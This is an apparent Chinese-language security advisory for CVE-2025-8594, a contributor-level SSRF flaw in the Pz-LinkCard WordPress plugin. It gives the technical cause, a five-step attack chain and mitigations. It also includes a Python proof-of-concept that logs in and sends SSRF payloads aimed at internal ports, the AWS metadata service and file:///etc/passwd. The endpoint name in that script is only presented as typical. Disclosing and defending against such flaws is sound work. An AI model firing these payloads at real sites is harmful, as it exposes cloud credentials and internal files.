IPBUF安全漏洞报告
English
CVE-2025-8594 CVSS 3.8 低危

CVE-2025-8594 Pz-LinkCard WordPress插件SSRF漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-8594
漏洞类型
服务端请求伪造(SSRF)
CVSS评分
3.8 低危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Pz-LinkCard WordPress Plugin

相关标签

SSRF服务端请求伪造WordPressPz-LinkCard插件漏洞低危漏洞CVE-2025-8594WPScanContributor权限

漏洞概述

CVE-2025-8594是Pz-LinkCard WordPress插件中存在的一个服务端请求伪造(SSRF)漏洞。该漏洞由WPScan团队([email protected])发现并报告,披露日期为2025年10月14日。Pz-LinkCard是一款用于在WordPress网站中创建和管理链接卡片(LinkCard)的流行插件,允许博主以美观的卡片形式展示外部链接。该漏洞源于插件在处理用户输入参数时未进行充分的验证和过滤,直接将用户提供的URL作为请求目标向服务器发起请求,导致攻击者可以利用该缺陷让服务器向任意内部或外部地址发起请求。受影响的版本为2.5.7之前的所有版本。该漏洞的CVSS 3.1评分为3.8分,属于低危级别。尽管评分较低,但由于WordPress插件生态的广泛使用,该漏洞仍可能对大量网站构成潜在威胁。攻击者需要具备至少Contributor(投稿者)级别的WordPress账户权限才能利用此漏洞,这降低了漏洞被大规模利用的风险。

技术细节

Pz-LinkCard插件在处理链接卡片预览功能时,会接收用户提交的目标URL参数,并使用服务端代码(如PHP的file_get_contents、curl或wp_remote_get等函数)向该URL发起HTTP请求以获取页面元数据(如标题、描述、缩略图等),用于生成链接卡片。然而,插件在处理该参数时未实施有效的URL验证机制,包括:1)未限制请求协议(允许file://、gopher://、dict://等危险协议);2)未限制目标地址范围(允许访问内网IP地址如127.0.0.1、192.168.x.x、10.x.x.x等);3)未对域名进行白名单校验。攻击者作为Contributor用户,可以通过提交精心构造的恶意URL参数,触发SSRF攻击。服务器将代替攻击者向指定目标发起请求,攻击者可以利用此漏洞进行内网端口扫描、访问云元数据服务(如AWS的169.254.169.254)、读取本地文件、或探测内网服务。由于请求来自服务器端,目标系统会将请求视为来自服务器的可信请求,可能绕过某些基于IP的访问控制。

攻击链分析

STEP 1
步骤1:获取账户权限
攻击者通过注册或社工等方式获取目标WordPress网站的Contributor(投稿者)级别账户权限。该角色允许用户撰写和发布文章,但权限相对受限。
STEP 2
步骤2:定位漏洞接口
攻击者访问Pz-LinkCard插件的链接卡片创建功能,识别用于URL预览抓取的参数端点(通常通过admin-ajax.php或REST API调用)。
STEP 3
步骤3:构造SSRF Payload
攻击者构造恶意URL作为参数值,可指向内网地址(如127.0.0.1、192.168.x.x)、云元数据服务(169.254.169.254)或使用危险协议(file://、gopher://等)。
STEP 4
步骤4:触发服务端请求
攻击者提交包含恶意URL的请求,服务器端的Pz-LinkCard插件未验证URL合法性,直接向攻击者指定的目标发起HTTP请求。
STEP 5
步骤5:信息收集与利用
服务器返回的响应内容被返回给攻击者,攻击者可通过分析响应获取内网服务信息、读取敏感文件或访问受限资源,完成SSRF攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-8594 - Pz-LinkCard WordPress Plugin SSRF PoC # Exploit requires Contributor-level WordPress account import requests from bs4 import BeautifulSoup # WordPress site configuration TARGET_URL = "http://target-wordpress-site.com" USERNAME = "contributor_user" PASSWORD = "contributor_password" # Step 1: Login as Contributor session = requests.Session() login_page = session.get(f"{TARGET_URL}/wp-login.php") soup = BeautifulSoup(login_page.text, 'html.parser') # Extract login form fields form_fields = {} for input_tag in soup.find_all('input', type='hidden'): form_fields[input_tag.get('name')] = input_tag.get('value') # Submit login credentials login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{TARGET_URL}/wp-admin/", 'testcookie': '1', **form_fields } response = session.post(f"{TARGET_URL}/wp-login.php", data=login_data) # Step 2: Exploit SSRF via Pz-LinkCard parameter # The vulnerable parameter is typically 'url' used in link card creation ssrf_payloads = [ "http://127.0.0.1:3306", # Internal MySQL port scan "http://169.254.169.254/latest/meta-data/", # AWS metadata service "http://192.168.1.1/admin", # Internal router/admin panel "file:///etc/passwd", # Local file read "http://internal-service.local/api" # Internal service access ] for payload in ssrf_payloads: # Submit the malicious URL through Pz-LinkCard endpoint exploit_data = { 'action': 'pz_linkcard_preview', 'url': payload, 'title': 'Test Card', '_wpnonce': '<valid_nonce_here>' } response = session.post( f"{TARGET_URL}/wp-admin/admin-ajax.php", data=exploit_data ) print(f"[*] Payload: {payload}") print(f"[*] Response: {response.text[:500]}\n")

影响范围

Pz-LinkCard WordPress Plugin < 2.5.7

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)限制Contributor角色的注册和权限分配,审查现有Contributor账户;2)通过Web应用防火墙(WAF)部署SSRF防护规则,过滤包含内网IP地址和危险协议的请求;3)修改服务器防火墙规则,阻止Web服务器进程访问内网资源;4)禁用Pz-LinkCard插件的链接预览抓取功能(如可通过配置项关闭);5)监控服务器出站连接日志,识别异常的内部地址访问行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表